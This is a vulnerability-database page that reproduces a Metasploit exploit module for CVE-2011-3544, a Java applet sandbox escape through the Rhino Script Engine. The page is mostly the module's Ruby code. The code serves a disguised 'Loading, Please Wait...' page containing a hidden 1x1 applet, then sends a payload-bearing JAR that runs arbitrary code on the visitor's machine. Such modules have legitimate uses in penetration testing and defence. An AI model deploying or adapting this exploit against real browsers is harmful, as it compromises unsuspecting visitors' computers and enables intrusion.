Java Applet Rhino Script Engine Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java Applet Rhino Script Engine Remote Code Execution vulnerability affecting version 7 and version 6 update 27 and earlier. Exploits Rhino Script Engine to run arbitrary Java code outside of sandbox

Reporter	Title	Published	Views	Family All 189
0day.today	Java Applet Rhino Script Engine Remote Code Execution	30 Nov 201100:00	–	zdt
0day.today	Java Applet Rhino Script Engine Remote Code Execution	30 Nov 201100:00	–	zdt
IBM Security Bulletins	Potential Security Vulnerabilities With JavaTM SDKs	17 Jun 201814:01	–	ibm
ATTACKERKB	CVE-2011-3544	19 Oct 201100:00	–	attackerkb
Amazon	Critical: java-1.6.0-openjdk	31 Oct 201100:00	–	amazon
Tenable Nessus	Amazon Linux AMI : java-1.6.0-openjdk (ALAS-2011-10) (BEAST)	4 Sep 201300:00	–	nessus
Tenable Nessus	CentOS 5 : java-1.6.0-openjdk (CESA-2011:1380) (BEAST)	20 Oct 201100:00	–	nessus
Tenable Nessus	Debian DSA-2356-1 : openjdk-6 - several vulnerabilities (BEAST)	2 Dec 201100:00	–	nessus
Tenable Nessus	Debian DSA-2358-1 : openjdk-6 - several vulnerabilities (BEAST)	12 Jan 201200:00	–	nessus
Tenable Nessus	Fedora 16 : java-1.6.0-openjdk-1.6.0.0-60.1.10.4.fc16 (2011-15020) (BEAST)	7 Nov 201100:00	–	nessus


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize( info = {} )
		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Java Applet Rhino Script Engine Remote Code Execution&#39;,
			&#39;Description&#39;   =&#62; %q{
					This module exploits a vulnerability in the Rhino Script Engine that
				can be used by a Java Applet to run arbitrary Java code outside of
				the sandbox.  The vulnerability affects version 7 and version 6 update
				27 and earlier, and should work on any browser that supports Java
				(for example: IE, Firefox, Google Chrome, etc)
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62;
				[
					&#39;Michael Schierl&#39;, # Discovery
					&#39;juan vazquez&#39;,    # metasploit module
					&#39;Edward D. Teach &#60;[email protected]&#62;&#39;,
					&#39;sinn3r&#39;
				],
			&#39;References&#39;    =&#62;
				[
					[ &#39;CVE&#39;, &#39;2011-3544&#39; ],
					[ &#39;OSVDB&#39;, &#39;76500&#39; ], # 76500 and 76499 have contents mixed
					[ &#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-11-305/&#39; ],
					[ &#39;URL&#39;, &#39;http://schierlm.users.sourceforge.net/CVE-2011-3544.html&#39; ],
				],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39;, &#39;win&#39;, &#39;linux&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_JAVA,
						}
					],
					[ &#39;Windows Universal&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;win&#39;
						}
					],
					[ &#39;Apple OSX&#39;,
						{
							&#39;ARCH&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;osx&#39;
						}
					],
					[ &#39;Linux x86&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;linux&#39;
						}
					]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 18 2011&#39;
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + &#39;/&#39;, &#39;&#39;)
				return
			end

			print_status(&#34;#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...&#34;)

			send_response_html( cli, generate_html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; } )
			return
		end

		paths = [
			[ &#34;Exploit.class&#34; ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join(&#34;/&#34;) + &#34;/&#34;
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, &#39;&#39;)
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2011-3544&#34;, path ), &#34;rb&#34;)
			data = fd.read(fd.stat.size)
			jar.add_file(path.join(&#34;/&#34;), data)
			fd.close
		end

		print_status( &#34;Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...&#34; )
		send_response( cli, jar.pack, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; } )

		handler( cli )
	end

	def generate_html
		html  = &#34;&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;&#34;
		html += &#34;&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;&#34;
		html += &#34;&#60;applet archive=\&#34;Exploit.jar\&#34; code=\&#34;Exploit.class\&#34; width=\&#34;1\&#34; height=\&#34;1\&#34;&#62;&#34;
		html += &#34;&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;&#34;
		return html
	end

end

01 Jul 2014 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.92545